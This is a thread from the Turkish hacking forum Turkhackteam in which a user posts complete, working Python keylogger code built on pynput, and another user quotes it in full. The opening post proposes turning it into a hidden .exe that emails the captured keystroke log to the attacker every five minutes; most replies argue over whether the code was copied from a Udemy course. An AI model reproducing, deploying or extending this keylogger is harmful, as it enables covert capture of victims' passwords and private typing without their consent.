Keyloger pynput Python

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

ERSSE

Katılımcı Üye
6 Kas 2019
465
138
Street
Evet dostlar kısaca man.py adında bir dosya oluşturun sonra CMD yi açın ve şunu yazın pip install pynput

ondan sonra main.py dosyasının içine şu kodları yazın

Python:
import pynput
 
#modülümüzü ekliyoruz
from pynput.keyboard import Key,Listener
 
#kullanacağımız değişken ve dizilerimiz
sayac = 0
keys = []
 
#tuşa basılma eylemi gerçekleştiğinde
def on_press(key):
    global sayac,keys
    sayac += 1
    #basılan tuşu yaz
    print("{0} pressed".format(key))
    #diziye ekle
    keys.append(key)
 
    #Gelen tuşları kayıt altına alalım
    if sayac >= 10:
        sayac = 0
        write_file(keys)
        keys = []
 
#eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz
keyasd = input("Log Name: ")
def write_file(keys):
    with open(f"{keyasd}.txt" , "a" , encoding="utf-8") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)
 
#Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :)
def on_release(key):
    if key == Key.esc:
        print("exit")
        return False
 
#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

peki bunu nasıl geliştiririz şöyle olabilir bunu bir .exe haline getiriz ve terminal ekranını saklarız şöyle bir kod yaza biliriz log.txt dosyasını her 5dk dir mail ile belirediğimiz maile gönderemesini sağlıya biliriz bunun gibi eklentiler yapabilirz peki siz nasıl geliştirirsiniz ne tür özellikler getire bilirsiniz
 

0x18sec

Üye
12 Tem 2022
80
42
Source size ait değil, bunuda bir köşeye bırakırsak bu şuan çok temel bir tool örnek verelim yazılan mesaj silindiğinde kod hata vericektir ve kullanılabilirliği gidicektir.
 

ERSSE

Katılımcı Üye
6 Kas 2019
465
138
Street
Source size ait değil, bunuda bir köşeye bırakırsak bu şuan çok temel bir tool örnek verelim yazılan mesaj silindiğinde kod hata vericektir ve kullanılabilirliği gidicektir.
bana ait olmıyan olarak neyi kastettin kütüphaneyimi bana ait değil kütüphane hata verme kısmını gelince çok temel bir şekilde verdim kodları geliştirmek sizlere kalmış iyi forumlar dilerim
 

0x18sec

Üye
12 Tem 2022
80
42
Tamamiyle size ait değil başka bir kişi bu source paylaşmıştı, udemy'de bir ders içeriğinde birebir aynı source bulunuyor ayrıca youtube bir çok kanalda oldukça fazla benzerlikte source bulunuyor.

Yaklaşık 6 yıldır bu alandayım hangi kod nerde ne şekilde emin ol bilirim :). source'de hafif değişiklik olsa anlarım ancak değişken isimleri dahi aynı.

Ayrıca library hata verdiğide yok sen koşulları eklememişsin hatayı library yüklemek saçmalık olur.
 
Son düzenleme:

ERSSE

Katılımcı Üye
6 Kas 2019
465
138
Street
Tamamiyle size ait değil başka bir kişi bu source paylaşmıştı, udemy'de bir ders içeriğinde birebir aynı source bulunuyor ayrıca youtube bir çok kanalda oldukça fazla benzerlikte source bulunuyor.

Yaklaşık 6 yıldır bu alandayım hangi kod nerde ne şekilde emin ol bilirim :). source'de hafif değişiklik olsa anlarım ancak değişken isimleri dahi aynı.

Ayrıca library hata verdiğide yok sen koşulları eklememişsin hatayı library yüklemek saçmalık olur.
dostum yazıyı düzgünce oku okumadan yorum yapma
 

1wexter1

Katılımcı Üye
24 Eyl 2021
922
648
Uzayda1yer
Eline sağlık ama keşke alıntı olduğunu en başta belirtseydin
+ logları göndermeyeceği için karşı tarafa atsak bile boş bir işlem olmaz mı?
 
Son düzenleme:

0x18sec

Üye
12 Tem 2022
80
42
Bro yapamazsın anlarım hepimiz zaten uzman başlamadık ama kendinin gibi davranma bari hani al bak.


Source size ait değil dedim en fazla haklısınız destek aldım dersiniz bu kadar basit, madem öyle uğraşmayın direkt bu linki verin.

Source kendiniz yazıyorsunuz ancak her yeri nedense birebir aynı herhalde çok şanslısınız

-
 
Moderatör tarafında düzenlendi:

JohnWick51

Uzman üye
20 Mar 2022
1,867
770
28
Evet dostlar kısaca man.py adında bir dosya oluşturun sonra CMD yi açın ve şunu yazın pip install pynput

ondan sonra main.py dosyasının içine şu kodları yazın

Python:
import pynput
 
#modülümüzü ekliyoruz
from pynput.keyboard import Key,Listener
 
#kullanacağımız değişken ve dizilerimiz
sayac = 0
keys = []
 
#tuşa basılma eylemi gerçekleştiğinde
def on_press(key):
    global sayac,keys
    sayac += 1
    #basılan tuşu yaz
    print("{0} pressed".format(key))
    #diziye ekle
    keys.append(key)
 
    #Gelen tuşları kayıt altına alalım
    if sayac >= 10:
        sayac = 0
        write_file(keys)
        keys = []
 
#eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz
keyasd = input("Log Name: ")
def write_file(keys):
    with open(f"{keyasd}.txt" , "a" , encoding="utf-8") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)
 
#Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :)
def on_release(key):
    if key == Key.esc:
        print("exit")
        return False
 
#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

peki bunu nasıl geliştiririz şöyle olabilir bunu bir .exe haline getiriz ve terminal ekranını saklarız şöyle bir kod yaza biliriz log.txt dosyasını her 5dk dir mail ile belirediğimiz maile gönderemesini sağlıya biliriz bunun gibi eklentiler yapabilirz peki siz nasıl geliştirirsiniz ne tür özellikler getire bilirsiniz
Ellerine saglik
 

ERSSE

Katılımcı Üye
6 Kas 2019
465
138
Street
Bro yapamazsın anlarım hepimiz zaten uzman başlamadık ama kendinin gibi davranma bari hani al bak.


Source size ait değil dedim en fazla haklısınız destek aldım dersiniz bu kadar basit, madem öyle uğraşmayın direkt bu linki verin.

Source kendiniz yazıyorsunuz ancak her yeri nedense birebir aynı herhalde çok şanslısınız
kardeşim anlamadığın şu ben orda bu kodlar tamamen bana ait diye birşey demedim ozaman neyin tartışmasındasın anlamadım cidden
 

Helmsys

Ar-Ge Ekibi Kıdemli
16 Mar 2022
1,494
1,654
de yada deme ne fark edicek işine yaradıkdan sonra
Anlamak istemediğin nokta şurası;
Paylaştığın ve "
alıntıdır" bilgisini vermediğin her yazı ve konu otomatikman sana ait olduğundan "bu kodlar tamamen bana ait diye birşey demedim" gibi bir cümle kurmanın bir anlamı olmuyor. Bazen bazı şeylerin gerçekliğini ispatlamak için somut delillere ihtiyaç yoktur.

@0x18sec sana zaten bunu neden belirtmediğini sorgulatıyor. Ama sen bunu sorgulamak yerine arkadaşın yanlış yaptığını düşünüp diş gösteriyorsun. Bazı görüşler doğru ise doğrudur. Üste çıkmaya çalışmak bu görüşün bizzat doğru olduğunun ispatıdır.
 

ERSSE

Katılımcı Üye
6 Kas 2019
465
138
Street
Anlamak istemediğin nokta şurası;
Paylaştığın ve "
alıntıdır" bilgisini vermediğin her yazı ve konu otomatikman sana ait olduğundan "bu kodlar tamamen bana ait diye birşey demedim" gibi bir cümle kurmanın bir anlamı olmuyor. Bazen bazı şeylerin gerçekliğini ispatlamak için somut delillere ihtiyaç yoktur.

@0x18sec sana zaten bunu neden belirtmediğini sorgulatıyor. Ama sen bunu sorgulamak yerine arkadaşın yanlış yaptığını düşünüp diş gösteriyorsun. Bazı görüşler doğru ise doğrudur. Üste çıkmaya çalışmak bu görüşün bizzat doğru olduğunun ispatıdır.
konuyu 21 de açtım ve ozamanlar forum da konu paylaşımı hakkında fazla bir bilgim yoktu ne diyim arkadaşa şimdi açmadım konuyu sonuçta eklemedim yada eklemeyi unuttum diye
 

Helmsys

Ar-Ge Ekibi Kıdemli
16 Mar 2022
1,494
1,654
21 de açtım ve ozamanlar forum da konu paylaşımı hakkında fazla bir bilgim yoktu
Bu zaman ve tarihten bağımsız bir durum. Ayrıca paylaşım yapabilmeyi bilmekten de bağımsız. Bu bir ahlak meselesi, emeğe saygı meselesi, sanal alem diye göz ardı edilecek değil ya. Eline sağlıktan bambaşka bir boyutta.
.
.
.
Sonuçta öğrenmiş oldun en önemlisi bu.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.